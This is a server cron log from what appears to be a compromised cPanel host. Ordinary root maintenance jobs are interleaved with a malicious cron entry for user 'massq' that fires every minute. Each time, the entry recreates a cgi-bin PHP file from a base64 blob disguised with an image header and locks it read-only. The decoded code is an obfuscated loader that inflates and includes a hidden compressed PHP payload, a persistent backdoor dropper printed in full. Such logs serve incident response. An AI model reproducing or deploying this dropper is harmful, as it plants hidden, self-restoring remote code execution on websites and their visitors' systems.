Nov 11 05:45:01 server CROND[13354]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 05:45:01 server CROND[13353]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 05:46:01 server CROND[14232]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 05:47:01 server CROND[15036]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 05:48:01 server CROND[15946]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 05:49:01 server CROND[16776]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 05:50:01 server CROND[17633]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 11 05:50:01 server CROND[17634]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 05:50:01 server CROND[17635]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 05:50:01 server CROND[17636]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 05:50:01 server CROND[17638]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 05:51:01 server CROND[18513]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 05:52:01 server CROND[19351]: (root) CMD (/usr/local/cpanel/scripts/gather_update_log_stats --logfile /var/cpanel/updatelogs/last --upload &gt; /dev/null 2&gt;&amp;1)
Nov 11 05:52:01 server CROND[19352]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 05:53:01 server CROND[20305]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 05:54:01 server CROND[21076]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 05:55:01 server CROND[21900]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 05:55:01 server CROND[21901]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 05:55:01 server CROND[21899]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 05:56:01 server CROND[22761]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 05:57:01 server CROND[23594]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 11 05:57:01 server CROND[23595]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
